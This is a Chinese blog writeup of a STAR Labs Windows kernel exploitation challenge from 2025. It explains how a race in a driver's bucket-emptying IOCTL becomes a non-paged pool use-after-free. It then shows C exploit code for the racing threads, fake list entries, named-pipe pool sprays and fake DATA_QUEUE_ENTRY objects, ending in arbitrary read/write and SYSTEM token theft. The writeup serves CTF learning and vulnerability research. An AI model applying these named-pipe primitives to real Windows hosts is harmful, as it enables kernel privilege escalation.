Windows内核漏洞利用挑战赛2025技术解析

本文详细分析了STAR Labs Windows漏洞利用挑战赛中的内核驱动漏洞,涉及竞态条件触发、非分页池UAF利用、命名管道对象伪造等技术,最终实现任意读写并提升至SYSTEM权限。

STAR Labs Windows Exploitation Challenge 2025 Writeup

分析二进制文件

我们获得了一个Windows内核驱动程序。基础分析显示它用于接收和保存从用户模式发送的消息。

重要结构

驱动中使用两个关键结构:句柄和消息条目。消息条目是保存用户模式消息的存储单元,其结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct __declspec(align(8)) MsgEntry
{
  _DWORD refCount;
  int pad;
  LIST_ENTRY listEntry;	// 桶链表
  PVOID msgContent;
  __int64 msgSize;
  FAST_MUTEX mutex;
  char isAddedToBucket;
};

驱动程序将所有MsgEntry对象分类到两个桶中。如果消息小于0x200字节,它进入小桶;否则进入大桶。每个桶本质上是一个链表,大桶和小桶的头部分别位于偏移0x3140和0x3150。

句柄作为MsgEntry的包装器。我们可以根据句柄内的索引字段选择要与哪个条目交互。

1
2
3
4
5
6
7
struct MsgHnd
{
  int index;
  int field_4;
  MsgEntry *tmsg;
  LIST_ENTRY listEntry;
};

所有MsgHnd对象也分组在一个链表中。该链表的头部位于偏移0x30A0。

消息条目操作

驱动程序暴露了4个IOCTL用于处理消息条目:

  • 0x222000 - addMessage:初始化新的MsgEntry及其对应的MsgHnd
  • 0x222004 - deleteMsgHnd:移除MsgHnd
  • 0x222008 - writeMsg:向MsgEntry写入消息
  • 0x22200C - emptyBucket:清空桶

当MsgEntry正在使用时(例如,在写入操作期间或在桶内),其refCount字段使用lock inc指令递增。一旦不再使用,引用计数递减。如果refCount降至0,则释放该条目。

每个MsgEntry还有一个互斥对象。在写入操作期间,此互斥锁被锁定以防止多个线程同时修改条目。这应该足以防止竞态条件…或者真的如此吗?

漏洞代码

在清空桶时,函数未能锁定每个消息条目上的互斥锁

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
_int64 __fastcall emptyTmsgBucket(PIRP Irp, struct _IO_STACK_LOCATION * CurrentStackLocation) {
   .......
   ExAcquireFastMutex(bucketMutex);
   currentEntry = bucketHead -> Flink;
   if (bucketHead -> Flink != bucketHead) {
      do {
         prevEntry = currentEntry -> Blink;
         tmsg = & currentEntry[0xFFFFFFFF].Blink;
         nextEntry = currentEntry -> Flink;
         prevEntry -> Flink = currentEntry -> Flink;
         nextEntry -> Blink = prevEntry; // [1]
         currentEntry -> Blink = currentEntry;
         currentEntry -> Flink = currentEntry;
         currentEntry -> isAddedToBucket = 0; 
         if (_InterlockedExchangeAdd(&tmsg->refCount, 0xFFFFFFFF) == 1) {
            msgContent = tmsg -> msgContent;
            if (msgContent) {
               ExFreePoolWithTag(msgContent, 'bufT');
            }

            ExFreePoolWithTag(tmsg, 'msgT');
         }

         currentEntry = nextEntry;
      }
      while (nextEntry != bucketHead);
   }
}

在[1](第11行),获取nextEntry的地址。从那时起直到程序在下一次迭代中循环回到[1],如果nextEntry设法切换到另一个桶,链表将损坏。这导致取消链接循环永远运行,因为停止条件nextEntry != bucketHead可能永远无法满足。

如果currentEntry的句柄已被删除,则currentEntry->refCount保证为1,并且将调用ExFreePoolWithTag两次来释放currentEntry和currentEntry->msgContent。这将使取消链接currentEntry的迭代运行时间更长,并扩大我们的竞态窗口。

在测试期间,我注意到如果我们赢得竞态,函数会在Flink和Blink都指向自身的MsgEntry上进入无限循环。循环重复取消链接同一条目,最终将其refCount减少到0并释放它。这导致非分页池上的释放后使用条件。

触发竞态条件

我将大桶的布局塑造如下:

1
[entry1] -> [entry2] -> [entry3] -> [entry4] -> [entry5] -> [entry6]

然后我总共创建6个线程:

  • 线程1调用清空桶IOCTL(称为清空线程)
  • 其他线程持续将refCount == 2的消息条目移动到小桶(称为翻转线程)。它们通过简单地调用在这些条目上使用msgSize > 0x200的写入消息IOCTL来工作。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
DWORD WINAPI writeSmallMsgThread(LPVOID lpParameter) {
   int startIndex = (int) lpParameter;
   HANDLE device = raceDeviceList[startIndex];

   WriteMsg * smallMsg = (WriteMsg * ) malloc(MSG_SIZE_SMALL + 0xc);
   smallMsg -> msgSize = MSG_SIZE_SMALL;
   for (int i = startIndex; i < FLIPPING_MSG_ENTRY_COUNT; i += FLIPPING_THREAD_COUNT) {
      smallMsg -> index = flippingIndexList[i];
      DeviceIoControl(device, 0x222008, smallMsg, MSG_SIZE_SMALL + 0xc, NULL, 0, NULL, NULL);
   }
   free(smallMsg);
   puts("[*] End write");
   return 0;
}

由于清空线程通常很快完成,我们可以等待1-2秒让它完成。如果在那之后它仍在运行,这是我们赢得竞态的明确信号。

利用

我们的利用策略遵循vp77的非常详细的指南,该指南利用命名管道来利用非分页池中的漏洞。

阶段1:用伪造的Tmsg条目回收漏洞

此时清空循环被困在已释放的消息条目上。然后我们用非缓冲命名管道条目回收漏洞,这些条目充当伪造的MsgEntry对象。它们的内容如下:

1
2
3
fakeKernelTmsg->refCount = 1;
fakeKernelTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeKernelTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;

fakeUsermodeTmsg是我们在用户模式下创建的另一个伪造MsgEntry:

1
2
3
fakeUsermodeTmsg->refCount = 0x69696969;
fakeUsermodeTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeUsermodeTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;

由于refCount == 1,fakeKernelTmsg将立即被清空循环再次释放。在该迭代之后,清空线程将跟随fakeKernelTmsg->listEntry.Flink到我们的用户模式条目。

fakeUsermodeTmsg的Flink和Blink都指向自身,有效地困住了内核线程。内核线程将持续减少条目的refCount,因此我们必须保持refCount高于0以防止崩溃。为了实现这一点,我将refCount设置为足够大的数字,并有另一个线程将其维持在初始值。

1
2
3
4
5
6
7
8
9
DWORD WINAPI watchTmsgRefCount(LPVOID lpParameter) {
   while (true) {
      if (!isKernelThreadTrapped && fakeUsermodeTmsg -> refCount != USERMODE_FAKE_TMSG_REFCOUNT) {
         puts("[*] Kernel loop redirected to usermode");
         isKernelThreadTrapped = true;
      }
      fakeUsermodeTmsg -> refCount = USERMODE_FAKE_TMSG_REFCOUNT;
   }
}

当内核线程被困在用户模式MsgEntry上时,此线程也会通知我们。refCount下降表明内核线程被困。通过此设置,清空线程在伪造条目上无限循环,不再干扰我们后续的步骤。

阶段2:用缓冲DQE回收漏洞

在第一个非缓冲条目被清空线程释放后,我们再次喷洒池 - 这次使用缓冲的DATA_QUEUE_ENTRY(或DQE)。这些是我们要破坏以实现任意读/写的对象:

1
2
3
4
// 头部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
   WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}

但是,如果我们在每个管道中只创建1个DQE,我们会遇到问题。原因是vp77的技术包括稍后添加一些额外的DQE用于任意写入,这是Npfs将新条目插入数据队列的方式(代码取自reactos):

1
2
3
4
5
6
7
8
9
PLIST_ENTRY _EX_Blink;
PLIST_ENTRY _EX_ListHead;

_EX_ListHead = (ListHead);
_EX_Blink = _EX_ListHead->Blink;
(Entry)->Flink = _EX_ListHead;
(Entry)->Blink = _EX_Blink;
_EX_Blink->Flink = (Entry);
_EX_ListHead->Blink = (Entry);

如您所见,要正确插入新的DQE,链表中的最后一个条目必须有效。因此我决定在所有管道上的头部条目之后添加一个额外的条目:

1
2
3
4
5
6
7
8
9
// 头部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
   WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}

// 尾部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
   WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_TAIL_ENTRY_SIZE, NULL, 0);
}

这些尾部条目位于数据队列链表的末尾,并在我们的利用过程中保持有效。它们的大小被选择以便在不同的LFH桶中分配,以免干扰我们的头部条目喷洒。

此时,我们仍然可以从阶段1的非缓冲管道读取数据。由于我们的旧fakeKernelTmsg已被新的DQE覆盖,我们可以识别哪个阶段1管道已损坏。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
for (int i = 0; i < NP_SPRAY_COUNT; i++) {
   PeekNamedPipe(reclaimPipeUnbufferedListStage1[i].Read, &stage1PipeContent, sizeof(TMsg), NULL, NULL, NULL);
   // 数据已更改 ==> 损坏的管道
   if (stage1PipeContent.listEntry.Flink != & fakeUsermodeTmsg -> listEntry) {
      puts("[*] Found corrupted stage 1 pipe. Leaking buffered DQE");
      corruptReclaimPipe = reclaimPipeUnbufferedListStage1[i];
      originalBufferedDqe = (DATA_QUEUE_ENTRY * )&stage1PipeContent;
      // 由于这是此管道中的第一个条目,其Blink指向CCB
      corruptPipeCCB = (NP_CCB * )(originalBufferedDqe -> Blink - offsetof(NP_CCB, DataQueueOutbound));
      printf("[*] Corrupt pipe's CCB: 0x%p\n", corruptPipeCCB);
      break;
   }
}

我们还可以泄漏缓冲DQE的内容并计算阶段2管道的客户端控制块(或CCB)的地址。

最后,我们可以通过在阶段1管道上使用ReadFile来释放对象,使阶段2管道指向已释放的DQE:

1
ReadFile(corruptReclaimPipe.Read, pipeData, NP_UNBUFFERED_ENTRY_SIZE, NULL, NULL);

阶段3:喷洒伪造缓冲DQE

对于最后的喷洒,我们的目标是用伪造的缓冲DQE回收漏洞。

我们将为此喷洒使用非缓冲条目,其内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
char stage3Content[NP_UNBUFFERED_ENTRY_SIZE];
ZeroMemory(stage3Content, NP_UNBUFFERED_ENTRY_SIZE);
DATA_QUEUE_ENTRY* fakeKernelDQE = (DATA_QUEUE_ENTRY*)stage3Content;
fakeKernelDQE->Flink = (uint64_t)g_usermodeDqe;
fakeKernelDQE->Blink = 0;
fakeKernelDQE->Irp = NULL;
fakeKernelDQE->EntryType = 0;
fakeKernelDQE->QuotaInEntry = NP_BUFFERED_HEAD_ENTRY_SIZE;
fakeKernelDQE->DataSize = NP_BUFFERED_HEAD_ENTRY_SIZE;
*(QWORD*)(fakeKernelDQE + 1) = KERNELMODE_FAKE_DQE_MAGIC;

注意我们的伪造缓冲DQE的Flink指向g_usermodeDqe,这是我们在用户模式下创建的另一个伪造DQE。

一旦伪造DQE回收了漏洞,我们在每个阶段2管道上使用PeekNamedPipe并搜索魔术序列KERNELMODE_FAKE_DQE_MAGIC。这使我们能够获得损坏的阶段2管道的句柄。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
bool detectCorruptPipe() {
   char leakContent[NP_BUFFERED_HEAD_ENTRY_SIZE];
   for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
      PeekNamedPipe(reclaimPipeBufferedList[i].Read, & leakContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, NULL, NULL);
      if ( * (QWORD * ) leakContent == KERNELMODE_FAKE_DQE_MAGIC) {
         printf("[*] Found magic sequence: 0x%llx\n", *(QWORD * ) leakContent);
         g_vulnPipe = reclaimPipeBufferedList[i];
         return true;
      }
   }
   return false;
}

任意读写

我们已经有一个伪造的缓冲DQE,其Flink指向我们可以控制的用户模式DQE。通过修改我们伪造用户模式DQE的IRP->SystemBuffer字段,我们可以实现任意读取。我们还从阶段2泄漏了CCB的地址,因此通过遍历DQE链表,我们可以泄漏此损坏管道中所有DQE的池地址。有了这些,我们现在拥有执行任意写入技术所需的一切。

实现任意读取和写入的步骤在vp77的文章中有很好的解释,因此我在此不再详细说明。通过严格遵循本指南,我们可以从SYSTEM进程窃取令牌并获得NT AUTHORITY\SYSTEM shell!

非常感谢STAR Labs团队举办如此精彩的挑战赛!我在解决它的过程中玩得很开心,并在此过程中学到了很多。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计